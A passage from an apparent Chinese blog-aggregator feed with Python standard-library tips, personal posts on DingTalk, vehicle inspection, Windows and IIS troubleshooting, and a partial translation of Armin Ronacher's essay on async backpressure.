user_input = "This\nstring has\tsome whitespaces...\r\n"

character_map = {
 ord('\n') : ' ',
 ord('\t') : ' ',
 ord('\r') : None
}
user_input.translate(character_map)  # This string has some whitespaces... "
在此示例中,你可以看到空格字符“ \n”和“ \t”被单个空格替换了,而“ \r”则被完全删除。这是一个简单的示例,但是我们可以更进一步,使用unicodedata 库及其 combining() 函数,来生成更大的重映射表(remapping table),并用它来删除字符串中所有的重音。

2、对迭代器切片

如果你尝试直接对迭代器切片,则会得到 TypeError ,提示说该对象不可取下标(not subscriptable),但是有一个简单的解决方案:
import itertools

s = itertools.islice(range(50), 10, 20)  # <itertools.islice object at 0x7f70fab88138>
for val in s:
 ...
使用itertools.islice,我们可以创建一个 islice 对象,该对象是一个迭代器,可以生成我们所需的内容。但是这有个重要的提醒,即它会消耗掉切片前以及切片对象 islice 中的所有元素。
(译注:更多关于迭代器切片的内容,可阅读 Python进阶:迭代器与迭代器切片

3、跳过可迭代对象的开始

有时候你必须处理某些文件,它们以可变数量的不需要的行(例如注释)为开头。 itertools 再次提供了简单的解决方案:
string_from_file = """
// Author: ...
// License: ...
//
// Date: ...

Actual content...
"""

import itertools

for line in itertools.dropwhile(lambda line:line.startswith("//"), string_from_file.split("\n")):
    print(line)
这段代码仅会打印在初始的注释部分之后的内容。如果我们只想丢弃迭代器的开头部分(在此例中是注释),并且不知道有多少内容,那么此方法很有用。

4、仅支持关键字参数(kwargs)的函数

当需要函数提供(强制)更清晰的参数时,创建仅支持关键字参数的函数,可能会挺有用:
def test(*, a, b):
 pass

test("value for a", "value for b")  # TypeError: test() takes 0 positional arguments...
test(a="value", b="value 2")  # Works...
如你所见,可以在关键字参数之前,放置单个 * 参数来轻松解决此问题。如果我们将位置参数放在 * 参数之前,则显然也可以有位置参数。

5、创建支持 with 语句的对象

我们都知道如何使用 with 语句,例如打开文件或者是获取锁,但是我们可以实现自己的么?是的,我们可以使用__enter__ 和__exit__ 方法来实现上下文管理器协议:
class Connection:
 def __init__(self):
  ...

 def __enter__(self):
  # Initialize connection...

 def __exit__(self, type, value, traceback):
  # Close connection...

with Connection() as c:
 # __enter__() executes
 ...
 # conn.__exit__() executes
这是在 Python 中实现上下文管理的最常见方法,但是还有一种更简单的方法:
from contextlib import contextmanager

@contextmanager
def tag(name):
 print(f"<{name}>")
 yield
 print(f"</{name}>")

with tag("h1"):
 print("This is Title.")
上面的代码段使用 contextmanager 装饰器实现了内容管理协议。tag 函数的第一部分(yield 之前)会在进入 with 语句时执行,然后执行 with 的代码块,最后会执行 tag 函数的剩余部分。

5、用__slots__节省内存

如果你曾经编写过一个程序,该程序创建了某个类的大量实例,那么你可能已经注意到你的程序突然就需要大量内存。那是因为 Python 使用字典来表示类实例的属性,这能使其速度变快,但内存不是很高效。通常这不是个问题,但是,如果你的程序遇到了问题,你可以尝试使用__slots__ :
class Person:
    __slots__ = ["first_name", "last_name", "phone"]
    def __init__(self, first_name, last_name, phone):
    self.first_name = first_name
    self.last_name = last_name
    self.phone = phone
这里发生的是,当我们定义__slots__属性时,Python 使用固定大小的小型数组,而不是字典,这大大减少了每个实例所需的内存。使用__slots__还有一些缺点——我们无法声明任何新的属性,并且只能使用在__slots__中的属性。同样,带有__slots__的类不能使用多重继承。

6、限制CPU和内存使用量

如果不是想优化程序内存或 CPU 使用率,而是想直接将其限制为某个固定数字,那么 Python 也有一个库能做到:
import signal
import resource
import os

# To Limit CPU time
def time_exceeded(signo, frame):
 print("CPU exceeded...")
 raise SystemExit(1)

def set_max_runtime(seconds):
 # Install the signal handler and set a resource limit
 soft, hard = resource.getrlimit(resource.RLIMIT_CPU)
 resource.setrlimit(resource.RLIMIT_CPU, (seconds, hard))
 signal.signal(signal.SIGXCPU, time_exceeded)

# To limit memory usage
def set_max_memory(size):
 soft, hard = resource.getrlimit(resource.RLIMIT_AS)
 resource.setrlimit(resource.RLIMIT_AS, (size, hard))
在这里,我们可以看到两个选项,可设置最大 CPU 运行时间和内存使用上限。对于 CPU 限制,我们首先获取该特定资源(RLIMIT_CPU)的软限制和硬限制,然后通过参数指定的秒数和先前获取的硬限制来设置它。最后,如果超过 CPU 时间,我们将注册令系统退出的信号。至于内存,我们再次获取软限制和硬限制,并使用带有 size 参数的setrlimit 和获取的硬限制对其进行设置。

8、控制可以import的内容

某些语言具有非常明显的用于导出成员(变量、方法、接口)的机制,例如Golang,它仅导出以大写字母开头的成员。另一方面,在 Python 中,所有内容都会被导出,除非我们使用__all__ :
def foo():
 pass

def bar():
 pass

__all__ = ["bar"]
使用上面的代码段,我们可以限制from some_module import * 在使用时可以导入的内容。对于以上示例,通配导入时只会导入 bar。此外,我们可以将__all__ 设为空,令其无法导出任何东西,并且在使用通配符方式从此模块中导入时,将引发 AttributeError。

9、比较运算符的简便方法

为一个类实现所有比较运算符可能会很烦人,因为有很多的比较运算符——__lt__、__le__、__gt__ 或__ge__。但是,如果有更简单的方法呢?functools.total_ordering 可救场:
from functools import total_ordering

@total_ordering
class Number:
 def __init__(self, value):
  self.value = value

 def __lt__(self, other):
  return self.value < other.value

 def __eq__(self, other):
  return self.value == other.value

print(Number(20) > Number(3))
print(Number(1) < Number(5))
print(Number(15) >= Number(15))
print(Number(10) <= Number(2))
这到底如何起作用的?total_ordering 装饰器用于简化为我们的类实例实现排序的过程。只需要定义__lt__ 和__eq__,这是最低的要求,装饰器将映射剩余的操作——它为我们填补了空白。
译注: 原作者的文章分为两篇,为了方便读者们阅读,我特将它们整合在一起,以下便是第二篇的内容。)

10、使用slice函数命名切片

使用大量硬编码的索引值会很快搞乱维护性和可读性。一种做法是对所有索引值使用常量,但是我们可以做得更好:
# ID   First Name   Last Name
line_record = "2        John         Smith"

ID = slice(0, 8)
FIRST_NAME = slice(9, 21)
LAST_NAME = slice(22, 27)

name = f"{line_record[FIRST_NAME].strip()} {line_record[LAST_NAME].strip()}"
# name == "John Smith"
在此例中,我们可以避免神秘的索引,方法是先使用 slice 函数命名它们,然后再使用它们。你还可以通过 .start、.stop和 .stop 属性,来了解 slice 对象的更多信息。

11、在运行时提示用户输入密码

许多命令行工具或脚本需要用户名和密码才能操作。因此,如果你碰巧写了这样的程序,你可能会发现 getpass 模块很有用:
import getpass

user = getpass.getuser()
password = getpass.getpass()
# Do Stuff...
这个非常简单的包通过提取当前用户的登录名,可以提示用户输入密码。但是须注意,并非每个系统都支持隐藏密码。Python 会尝试警告你,因此切记在命令行中阅读警告信息。

12、查找单词/字符串的相近匹配

现在,关于 Python 标准库中一些晦涩难懂的特性。如果你发现自己需要使用Levenshtein distance 【2】之类的东西,来查找某些输入字符串的相似单词,那么 Python 的 difflib 会为你提供支持。
import difflib
difflib.get_close_matches('appel', ['ape', 'apple', 'peach', 'puppy'], n=2)
# returns ['apple', 'ape']
difflib.get_close_matches 会查找最佳的“足够好”的匹配。在这里,第一个参数与第二个参数匹配。我们还可以提供可选参数 n ,该参数指定要返回的最多匹配结果。另一个可选的关键字参数 cutoff (默认值为 0.6),可以设置字符串匹配得分的阈值。

13、使用IP地址

如果你必须使用 Python 做网络开发,你可能会发现 ipaddress 模块非常有用。一种场景是从 CIDR(无类别域间路由 Classless Inter-Domain Routing)生成一系列 IP 地址:
import ipaddress
net = ipaddress.ip_network('74.125.227.0/29')  # Works for IPv6 too
# IPv4Network('74.125.227.0/29')

for addr in net:
    print(addr)

# 74.125.227.0
# 74.125.227.1
# 74.125.227.2
# 74.125.227.3
# ...
另一个不错的功能是检查 IP 地址的网络成员资格:
ip = ipaddress.ip_address("74.125.227.3")

ip in net
# True

ip = ipaddress.ip_address("74.125.227.12")
ip in net
# False
还有很多有趣的功能,在这里【3】可以找到,我不再赘述。但是请注意,ipaddress 模块和其它与网络相关的模块之间只有有限的互通性。例如,你不能将 IPv4Network 实例当成地址字符串——需要先使用 str 转换它们。

14、在Shell中调试程序崩溃

如果你是一个拒绝使用 IDE,并在 Vim 或 Emacs 中进行编码的人,那么你可能会遇到这样的情况:拥有在 IDE 中那样的调试器会很有用。
你知道吗?你有一个——只要用python3.8 -i 运行你的程序——一旦你的程序终止了, -i 会启动交互式 shell,在那你可以查看所有的变量和调用函数。整洁,但是使用实际的调试器(pdb )会如何呢?让我们用以下程序(script.py ):
def func():
    return 0 / 0

func()
并使用python3.8 -i script.py运行脚本:
# Script crashes...
Traceback (most recent call last):
  File "script.py", line 4, in <module>
    func()
  File "script.py", line 2, in func
    return 0 / 0
ZeroDivisionError: division by zero
>>> import pdb
>>> pdb.pm()  # Post-mortem debugger
> script.py(2)func()
-> return 0 / 0
(Pdb)
我们看到了崩溃的地方,现在让我们设置一个断点:
def func():
    breakpoint()  # import pdb; pdb.set_trace()
    return 0 / 0

func()
现在再次运行它:
script.py(3)func()
-> return 0 / 0
(Pdb)  # we start here
(Pdb) step
ZeroDivisionError: division by zero
> script.py(3)func()
-> return 0 / 0
(Pdb)
大多数时候,打印语句和错误信息就足以进行调试,但是有时候,你需要四处摸索,以了解程序内部正在发生的事情。在这些情况下,你可以设置断点,然后程序执行时将在断点处停下,你可以检查程序,例如列出函数参数、表达式求值、列出变量、或如上所示仅作单步执行。
pdb 是功能齐全的 Python shell,理论上你可以执行任何东西,但是你还需要一些调试命令,可在此处【4】找到。

15、在一个类中定义多个构造函数

函数重载是编程语言(不含 Python)中非常常见的功能。即使你不能重载正常的函数,你仍然可以使用类方法重载构造函数:
import datetime

class Date:
    def __init__(self, year, month, day):
        self.year = year
        self.month = month
        self.day = day

    @classmethod
    def today(cls):
        t = datetime.datetime.now()
        return cls(t.year, t.month, t.day)

d = Date.today()
print(f"{d.day}/{d.month}/{d.year}")
# 14/9/2019
你可能倾向于将替代构造函数的所有逻辑放入__init__,并使用*args**kwargs 和一堆 if 语句,而不是使用类方法来解决。那可能行得通,但是却变得难以阅读和维护。
因此,我建议将很少的逻辑放入__init__,并在单独的方法/构造函数中执行所有操作。这样,对于类的维护者和用户而言,得到的都是干净的代码。

16、使用装饰器缓存函数调用

你是否曾经编写过一种函数,它执行昂贵的 I/O 操作或一些相当慢的递归,而且该函数可能会受益于对其结果进行缓存(存储)?如果你有,那么有简单的解决方案,即使用 functools 的lru_cache :
from functools import lru_cache
import requests

@lru_cache(maxsize=32)
def get_with_cache(url):
    try:
        r = requests.get(url)
        return r.text
    except:
        return "Not Found"


for url in ["https://google.com/",
            "https://martinheinz.dev/",
            "https://reddit.com/",
            "https://google.com/",
            "https://dev.to/martinheinz",
            "https://google.com/"]:
    get_with_cache(url)

print(get_with_cache.cache_info())
# CacheInfo(hits=2, misses=4, maxsize=32, currsize=4)
在此例中,我们用了可缓存的 GET 请求(最多 32 个缓存结果)。你还可以看到,我们可以使用 cache_info 方法检查函数的缓存信息。装饰器还提供了 clear_cache 方法,用于使缓存结果无效。
我还想指出,此函数不应与具有副作用的函数一起使用,或与每次调用都创建可变对象的函数一起使用。

17、在可迭代对象中查找最频繁出现的元素

在列表中查找最常见的元素是非常常见的任务,你可以使用 for 循环和字典(map),但是这没必要,因为 collections 模块中有 Counter 类:
from collections import Counter

cheese = ["gouda", "brie", "feta", "cream cheese", "feta", "cheddar",
          "parmesan", "parmesan", "cheddar", "mozzarella", "cheddar", "gouda",
          "parmesan", "camembert", "emmental", "camembert", "parmesan"]

cheese_count = Counter(cheese)
print(cheese_count.most_common(3))
# Prints: [('parmesan', 4), ('cheddar', 3), ('gouda', 2)]
实际上,Counter 只是一个字典,将元素与出现次数映射起来,因此你可以将其用作普通字典:
print(cheese_count["mozzarella"])
# Prints: 1

cheese_count["mozzarella"] += 1

print(cheese_count["mozzarella"])
# Prints: 2
除此之外,你还可以使用 update(more_words) 方法轻松添加更多元素。Counter 的另一个很酷的特性是你可以使用数学运算(加法和减法)来组合和减去 Counter 的实例。

小结

在日常 Python 编程中,并非所有这些特性都是必不可少的和有用的,但是其中一些特性可能会时不时派上用场,并且它们也可能简化任务,而这本来可能很冗长且令人讨厌。
我还要指出的是,所有这些特性都是 Python 标准库的一部分,虽然在我看来,其中一些特性非常像是标准库中的非标准内容。因此,每当你要在 Python 中实现某些功能时,首先可在标准库查看,如果找不到,那你可能看得还不够仔细(如果它确实不存在,那么肯定在某些三方库中)。
如果你使用 Python,那么我认为在这里分享的大多数技巧几乎每天都会有用,因此我希望它们会派上用场。另外,如果你对这些 Python 技巧和骚操作有任何想法,或者如果你知道解决上述问题的更好方法,请告诉我!🙂

相关链接

[1] 原文地址: https://martinheinz.dev/blog/1

January 28, 2020 12:00 AM

January 17, 2020

anji66

钉钉内部应用部分安卓手机提示找不到主机

水文一篇做个记录,给遇到相同问题的小伙伴提个醒免得走弯路。事情是这样的,我们公司自建了两个钉钉内部应用,一个微应用,一个E应用。之前相关功能都只开放给办公室使用,最近车间上线了一部分功能,权限开放给了一线操作工。 这一开就开出问题来了。问题也很简单,车间一位同事的手机可以正常进入无需授权的页面,但只要进入授权功能就会报错。错误也简单就是无法连接服务器,百思不得其小姐姐,丢。


起初是小程序开发小组最先遇到的问题,E应用应该是打开调免登接口,然后去请求E应用内的对用功能的权限。部分手机直接提示找不到主机。而开发小组测试全部正常,然后去排查了一下前端免登接口数据,能拉取到用户信息,正常。然后调试了请求服务器权限的接口,也是一切正常。这特么就奇怪了。因为架构上我们把钉钉内的成员信息在自己的服务器上重建了一遍,所以查数据库的时候偶然发现无法请求服务器的人员信息在自己的服务器上竟然没有写入,也就是说免登以后没写用户信息,想想也对,请求不到服务器,必然也写不了信息。


只好继续去查源码,前端,后端都查了一遍,无果,新加个账号也正常。没办法了只能去微应用里面去看看能不能找出蛛丝马迹。结果开发小组的手机也都正常,然后就去用了打开异常的同事的手机,结果微应用无需授权的静态页能打开,鉴权的页面都打不开。最后没查到原因,所以暂时放了一下。上次出差浙江工厂,那边也有两个同事的手机无法访问。其中一位同事的手机比较老旧,所以怀疑是钉钉版本太低,升级钉钉版本后还是无法打开。就怀疑是手机的问题了,去检查了下钉钉的权限,顺道去看了下手机版本,发现安卓版本是5.1的。两个手机都是5.1的版本。出差回来后果断看了下上海这台手机,也是安卓5.1的。问题就比较明朗了,遂告知这几位同事,相关功能暂不要操作。


继续尝试相关办法不得而终,在网上也没有找到有效的解决方案,只好发钉钉工单去咨询了下钉钉官方,钉钉官方的回答是需要安卓7.0版以上才能正常使用钉钉的部分功能。这对我们开发层面其实已经无解了,试图分析一下原因,有可能是SSL证书拦截的问题。所以这里分享下,碰到类似问题不要走弯路了,直接升级手机安卓系统就好。

11.jpg


by 西枫里 at January 17, 2020 06:14 AM

January 15, 2020

anji66

第二次办理车辆异地年审

说了太多的时间飞快了,这不又到年底,车子又该年审了,自去年第一次上检测线检测,所以对检测流程还是非常了解了,上篇:《在上海外地牌照车辆异地年检流程》文章在百度里面搜索量也巨大,这篇也成了我这小博客第四大阅读量的文章。而2019年5月1日开始汽车年审政策有变动,所以一以贯之,再记录一篇以供需要的人参考。


准备工作一(自行检查)

1、去检测前先自行检查下车辆的灯光,主要是转向灯,刹车灯,远近光灯有没有不亮的情况(卤素灯泡)。LED灯珠有没有部分损坏的。

2、自行检查下刹车是否灵敏,急刹是否可靠。

3、查找就近的检车站。百度地图搜索:机动车检测,地图上的红点都是,找就近的。(左侧搜索结果前面的有可能是广告,那种代办的黄牛公司,注意辨别)。上海一般都会冠以第几第几检测站。

4、下载12123APP查询下车辆是否有违章,查询地建议选择车辆归属地,这样能查到全国范围内的违章信息。


准备工作二(准备年审材料)

1、有效期内的交强险副本原件。

2、机动车行驶证原件。

3、安全警示三角架。


有的车辆保险购买的时候没有代缴车船税,所以为了以防万一,去国税把车船税缴纳以后拿着完税证明去检测。上海不需要,但不保证每个地方都不需要这个东西。看交强险保单上面,代缴车船税是不是0元。

IMG_20200115_223544.jpg

如果上述都准备好了,就可以去检测站了。由于2019年我又搬了家,苦逼穷逼的魔漂没办法。所以又得找下就近的检测站,百度了一下,找到了一个离我办公点比较检测站,距离2公里,且规模比较大,不像去年去的那个那么小。上海鹿亭机动车检测有限公司,在松江施惠路上。

未标题-1.jpg

今天一早送女儿上本学期最后一天学,请了一天假,一早火速赶往检测站,到了地方看到停车场有登记处,找个位置停下,还没等我开口,就有检测站工作人员来登记信息了。把钥匙留在车上,不留贵重用品在车上,把三角架放中控台,拿出交强险副本原件和行驶证原件,登记好带着登记单去大厅2号窗口登记。

IMG_20200115_080931.jpg

登记完成在1号窗口缴费,缴费窗口支持现金、支付宝、微信、刷卡。小型汽车检测费370块钱,去年是250,因自2019年5月开始增加了OBD检测,所以费用增加了。交完费在大厅等就可以了,5号窗口会通知的。

IMG_20200115_081152.jpg

这个检测站比去年的那个检测站要大,也更规范,去年还需要自己开车到尾气检测线上去,这个只需要在停车场停车就行,然后就在大厅等,大厅有监控大屏可供查看。检测信息也会显示在大屏上。所有项目检测完成后,等检测站将数据远程传输到车管所,车管所审批通过过,检测站就打标了,签个字,拿到对应的检测报告和年检车贴,就去停车场找车就好了。

IMG_20200115_082643.jpg

IMG_20200115_082834.jpg

IMG_20200115_223517.jpg

IMG_20200115_223535.jpg

检测站早上8点上班,我7点55到达的,全部办好出来,7点35分,耗时40分钟,远比去年快的都。一是年底,二是工作日一早,所以车少,我排第5个,而他们有6条以上的检测线,所以等于是早上第一个就完成了。


最后再强调一下,现在也都很规范,特别是魔都这样的一线城市,所以千万不要去找黄牛,千万不要去找黄牛,千万不要去找黄牛,重要的事情说三遍。还有千万不要去找那种外牌年检代办的公司,那只是有执照的黄牛,无任何意义。


by 西枫里 at January 15, 2020 02:35 PM

January 14, 2020

anji66

如何将windows7快速升级到windows10

今年是恰好是2020年1月14日,微软早前宣布的自今日起不再为win7提供安全更新。win7应该是自winXP以来最受欢迎的操作系统了吧,并且至今占据着相当大的市场份额。微软曾在刚开始推广win10的时候,有一波免费从win7升级到win10的骚操作。那时候即便你的win7是盗版的也能在升级后变成正版win10。而自今天以后,没有安全更新的win7可以给你一个更换win10的理由了吗?其实win10个人还觉的不错吧。那磁贴功能我曾在NOKIA920享受过很久,只是在电脑显示器上,这大磁贴改叫大磁砖吧,确实有点槑。


不想重装系统,现在还能从win7升级到win10吗?当然有。

首先去微软官网下载“易升”工具。链接就不放了,翻一下就能找到。当然我直接放个压缩包在这里了,点击这里


双击打开这个工具,就会弹出windows10的下载界面。下载完成后,会跳出许可条款,如图一图二。

1.png

2.png


同意后选择保留文件和配置就能直接升级了,然后坐等升级成功即可。对了,保留文件,你桌面和C盘的东西无需备份,丢不了。如果重要文件,备不备份你看着办咯。


升级完成以后,如果不喜欢那开始菜单可以试试电脑管家的经典windows菜单功能。还有些系统自带的你不喜欢的软件该删的删掉,完事,水完了,撤!


by 西枫里 at January 14, 2020 01:36 PM

January 12, 2020

chengweiyang

亚马逊购物的“立即购买”和“一键下单”的区别

用了这么多年的亚马逊,虽然只在上面买过极少的东西,最近几年以买 kindle 电子书为主,但是一直没有弄懂它的“立即购买”和“一键下单”有什么区别, 因为两个按钮点进去看起来都是一样的。

1click

直到今天,都 9102 年的下一年了,我终于搞明白了它们的区别,因为我今天心血来潮, 在亚马逊上绑定了信用卡。

一键下单就是直接使用绑定的信用卡(储蓄卡估计也可以)下单付款,没有任何进一步确认。

不得不吐槽一下,亚马逊购物退出中国是必然的,太难用,不好用都谈不上。

January 12, 2020 04:00 PM

anji66

IIS6以上版本报0x800A0E7A错的解决办法

最近又一好几年前的客户网站因单位内部机房管理,老的windows server 2003服务器直接升级到win server 2019了。IIS直接大跃进到10.0的版本,导致运行好好的网站被中断无法打开了,没办法,就远程看了下具体情况,还好,此处是别慌,稳住,问题不大三连。所以很快把一起从XP升级WIN7的时候,配置IIS6的笔记翻出来,简单操作一下就搞定。


问题一:IIS环境装好后报一串英文错误

错误信息:An error occurred on the server when processing the URL. Please contact the system administrator.If you are the system administrator please click here to find out more about this error.

这个问题首先是程序肯定有错,报错了,但是报错信息不显示,虽然你在浏览器设置里面取消了友好显示错误信息的选项,IIS将错误信息屏蔽了。解决方法也很简单。以管理员身份运行CMD,cd命令读到windows\system32\inetsrv\目录下。执行命令:

appcmd set config -section:asp -scripterrorsenttobrowser:true

系统提示应用了更改就表示成功了。此刻去刷新你的页面就能看到具体的错误了。


问题二:ADODB.Connection (0x800A0E7A) 未找到提供程序

运行程序报这个错,一般都是64位系统运行32位程序没开启兼容造成的。方法也简单。使用命令操作或者IIS配置的图形界面操作均可。

使用命令操作,以管理员身份运行CMD,cd命令读到C:\inetpub\AdminScripts目录下(windows server 2019没这个目录,请按下面说的图形界面操作。),执行命令:

cscript.exe adsutil.vbs set W3SVC/AppPools/Enable32BitAppOnWin64 true

提示成功即可。如果采用IIS配置操作,进入控制面板,管理工具,IIS管理器,找到对应站点的应用程序池,双击打开,启用32位应用程序,选择True即可。如下图所示。

12.jpg

13.jpg

有的时候对应站点程序池改了不生效,有可能是站点配置使用了默认程序池,可以建议把默认程序池也给改了。


by 西枫里 at January 12, 2020 05:49 AM

January 11, 2020

pythoncat

Flask 作者 Armin Ronacher:我不觉得有 async 压力

原作 | Armin Ronacher,2020.01.01
译者 | 豌豆花下猫@Python猫
声明 :本翻译基于CC BY-NC-SA 4.0【2】授权协议,内容略有改动,转载请保留原文出处,请勿用于商业或非法用途。
异步(async)正风靡一时。异步Python、异步Rust、go、node、.NET,任选一个你最爱的语言生态,它都在使用着一些异步。异步这东西有多好,这在很大程度上取决于语言的生态及其运行时间,但总体而言,它有一些不错的好处。它使得这种事情变得非常简单:等待可能需要一些时间才能完成的操作。
它是如此简单,以至于创造了无数新的方法来坑人(blow ones foot off)。我想讨论的一种情况是,直到系统出现超载,你才意识到自己踩到了脚的那一种,这就是背压(back pressure)管理的主题。在协议设计中有一个相关术语是流量控制(flow control)。

什么是背压

关于背压的解释有很多,我推荐阅读的一个很好的解释是:Backpressure explained — the resisted flow of data through software【3】。因此,与其详细介绍什么是背压,我只想对其做一个非常简短的定义和解释:背压是阻碍数据在系统中流通的阻力。背压听起来很负面——谁都会想象浴缸因管道堵塞而溢出——但这是为了节省你的时间。
(译注:back pressure,除了背压,还有人译为“回压”、“反压”)
在这里,我们要处理的东西在所有情况下或多或少都是相同的:我们有一个系统将不同组件组合成一个管道,而该管道需要接收一定数量的传入消息。
你可以想象这就像在机场模拟行李运送一样。行李到达,经过分类,装入飞机,最后卸下。在这过程中,一件行李要跟其它行李一起,被扔进集装箱进行运输。当一个集装箱装满后,需要将其运走。当没有剩余的集装箱时,这就是背压的自然示例。现在,放行李者不能放了,因为没有集装箱。
此时必须做出决定。一种选择是等待:这通常被称为排队(queueing )或缓冲(buffering)。另一种选择是扔掉一些行李,直到有一个集装箱到达为止——这被称为丢弃(dropping)。这听起来很糟糕,但是稍后我们将探讨为什么有时很重要。
但是,这里还有另一件事。想象一下,负责将行李放入集装箱的人在较长的时间内(例如一周)都没等到集装箱。最终,如果他们没有丢弃行李,那么他们周围将有数量庞大的行李。最终,他们被迫要整理的行李数量太多,用光了存储行李的物理空间。到那时,他们最好是告诉机场,在解决好集装箱问题之前,不能再接收新的行李了。这通常被称为流量控制【4】,是一个至关重要的网络概念。
通常这些处理管道在每段时间内只能容纳一定数量的消息(如本例中的行李箱)。如果数量超过了它,或者更糟糕的是管道停滞,则可能发生可怕的事情。现实世界中的一个例子是伦敦希思罗机场 5 号航站楼开放,由于其 IT 基础架构无法正常运行,在 10 天内未能完成运送 42,000 件行李。他们不得不取消 500 多个航班,并且有一段时间,航空公司决定只允许随身携带行李。

背压很重要

我们从希思罗灾难中学到的是,能够交流背压至关重要。在现实生活中以及在计算中,时间总是有限的。最终人们会放弃等待某些事情。特别是即使某些事物在内部可以永远等待,但在外部却不能。
举一个现实的例子:如果你的行李需通过伦敦希思罗机场到达目的地巴黎,但是你只能在那呆 7 天,那么如果行李延迟成 10 天到达,这就毫无意义了。实际上,你希望将行李重新路由(re-routed)回你的家乡机场。
实际上,承认失败(你超负载了)比假装可运作并持续保持缓冲状态要好,因为到了某个时候,它只会令情况变得更糟。
那么,为什么在我们编写了多年的基于线程的软件时,背压都没有被提出,现在却突然成为讨论的话题呢?有诸多因素的结合,其中一些因素很容易使人陷入困境。

糟糕的默认方式

为了理解为什么背压在异步代码中很重要,我想为你提供一段看似简单的 Python asyncio 代码,它展示了一些我们不慎忘记了背压的情况:
from asyncio import start_server, run

async def on_client_connected(reader, writer):
    while True:
        data = await reader.readline()
        if not data:
            break
        writer.write(data)

async def server():
    srv = await start_server(on_client_connected, '127.0.0.1', 8888)
    async with srv:
        await srv.serve_forever()

run(server())
如果你刚接触 async/await 概念,请想象一下在调用 await 的时候,函数会挂起,直到表达式解析完毕。在这里,Python 的 asyncio 库提供的 start_server 函数会运行一个隐藏的 accept 循环。它侦听套接字,并为每个连接的套接字生成一个独立的任务运行着 on_client_connected 函数。
现在,这看起来非常简单明了。你可以删除所有的 await 和 async 关键字,最终的代码看起来与使用线程方式编写的代码非常相似。
但是,它隐藏了一个非常关键的问题,这是我们所有问题的根源:在某些函数调用的前面没有 await。在线程代码中,任何函数都可以 yield。在异步代码中,只有异步函数可以。在本例中,这意味着 writer.write 方法无法阻塞。那么它是如何工作的呢?它将尝试将数据直接写入到操作系统的无阻塞套接字缓冲区中。
但是,如果缓冲区已满并且套接字会阻塞,会发生什么?在用线程的情况下,我们可以在此处将其阻塞,这很理想,因为这意味着我们正在施加一些背压。然而,因为这里没有线程,所以我们不能这样做。因此,我们只能在此处进行缓冲或者删除数据。因为删除数据是非常糟糕的,所以 Python 选择了缓冲。
现在,如果有人向其中发送了很多数据却没有读取,会发生什么?好了在那种情况下,缓冲区会增大,增大,再增大。这个 API 缺陷就是为什么 Python 的文档中说,不要只是单独使用 write,还要接着写 drain(译注:消耗、排水):
writer.write(data)
await writer.drain()
drain 会排出缓冲区上多余的东西。它不会排空整个缓冲区,只会做到令事情不致失控的程度。那么为什么 write 不做隐式 drain 呢?好吧,这会是一个大规模的 API 监控,我不确定该如何做到。
这里非常重要的是大多数套接字都基于 TCP,而 TCP 具有内置的流量控制。writer 只会按照 reader 可接受的速度写入(给予或占用一些缓冲空间)。这对开发者完全是隐藏的,因为甚至 BSD 套接字库都没有公开这种隐式的流量控制操作。
那我们在这里解决背压问题了吗?好吧,让我们看一看在线程世界中会是怎样。在线程世界中,我们的代码很可能会运行固定数量的线程,而 accept 循环会一直等待,直到线程变得可用再接管请求。
然而,在我们的异步示例中,有无数的连接要处理。这就意味着我们可能收到大量连接,即使这意味着系统可能会过载。在这个非常简单的示例中,可能不成问题,但请想象一下,如果我们做的是数据库访问,会发生什么。
想象一个数据库连接池,它最多提供 50 个连接。当大多数连接会在连接池处阻塞时,接受 10000 个连接又有什么用?

等待与等待着等待

好啦,终于回到了我最初想讨论的地方。在大多数异步系统中,特别是我在 Python 中遇到的大多数情况中,即使你修复了所有套接字层的缓冲行为,也最终会陷入一个将一堆异步函数链接在一起,而不考虑背压的世界。
如果我们以数据库连接池为例,假设只有 50 个可用连接。这意味着我们的代码最多可以有 50 个并发的数据库会话。假设我们希望处理 4 倍多的请求,因为我们期望应用程序执行的许多操作是独立于数据库的。一种解决方法是制作一个带有 200 个令牌的信号量(semaphore),并在开始时获取一个。如果我们用完了令牌,就需等待信号量发放令牌。
但是等一下。现在我们又变成了排队!我们只是在更前面排。如果令系统严重超负荷,那么我们会从一开始就一直在排队。因此,现在每个人都将等待他们愿意等待的最大时间,然后放弃。更糟糕的是:服务器可能仍会花一段时间处理这些请求,直到它意识到客户端已消失,而且不再对响应感兴趣。
因此,与其一直等待下去,我们更希望立即获得反馈。想象你在一个邮局,并且正在从机器上取票,票上会说什么时候轮到你。这张票很好地表明了你需要等待多长时间。如果等待时间太长,你会决定弃票走人,以后再来。请注意,你在邮局里的排队等待时间,与实际处理你的请求的时间无关(例如,因为有人需要提取包裹,检查文件并采集签名)。
因此,这是天真的版本,我们只知道自己在等待:
from asyncio.sync import Semaphore

semaphore = Semaphore(200)

async def handle_request(request):
    await semaphore.acquire()
    try:
        return generate_response(request)
    finally:
        semaphore.release()
对于 handle_request 异步函数的调用者,我们只能看到我们正在等待并且什么都没有发生。我们看不到是因为过载而在等待,还是因为生成响应需花费很长时间而在等待。基本上,我们一直在这里缓冲,直到服务器最终耗尽内存并崩溃。
这是因为我们没有关于背压的沟通渠道。那么我们将如何解决呢?一种选择是添加一个中间层。现在不幸的是,这里的 asyncio 信号量没有用,因为它只会让我们等待。但是假设我们可以询问信号量还剩下多少个令牌,那么我们可以执行类似这样的操作:
from hypothetical_asyncio.sync import Semaphore, Service

semaphore = Semaphore(200)

class RequestHandlerService(Service):
    async def handle(self, request):
        await semaphore.acquire()
        try:
            return generate_response(request)
        finally:
            semaphore.release()

    @property
    def is_ready(self):
        return semaphore.tokens_available()
现在,我们对系统做了一些更改。现在,我们有一个 RequestHandlerService,其中包含了更多信息。特别是它具有了准备就绪的概念。该服务可以被询问是否准备就绪。该操作在本质上是无阻塞的,并且是最佳估量。
现在,调用者会将这个:
response = await handle_request(request)
变成这个:
request_handler = RequestHandlerService()
if not request_handler.is_ready:
    response = Response(status_code=503)
else:
    response = await request_handler.handle(request)
有多种方法可以完成,但是思想是一样的。在我们真正着手做某件事之前,我们有一种方法来弄清楚成功的可能性,如果我们超负荷了,我们将向上沟通。
现在,我没有想到如何给这种服务下定义。其设计来自 Rust 的tower【5】和 Rust 的actix-service【6】。两者对服务特征的定义都跟它非常相似。
现在,由于它是如此的 racy,因此仍有可能堆积信号量。现在,你可以冒这种风险,或者还是在 handle 被调用时就抛出失败。
一个比 asyncio 更好地解决此问题的库是 trio,它会在信号量上暴露内部计数器,并提供一个 CapacityLimiter,它是对容量限制做了优化的信号量,可以防止一些常见的陷阱。

数据流和协议

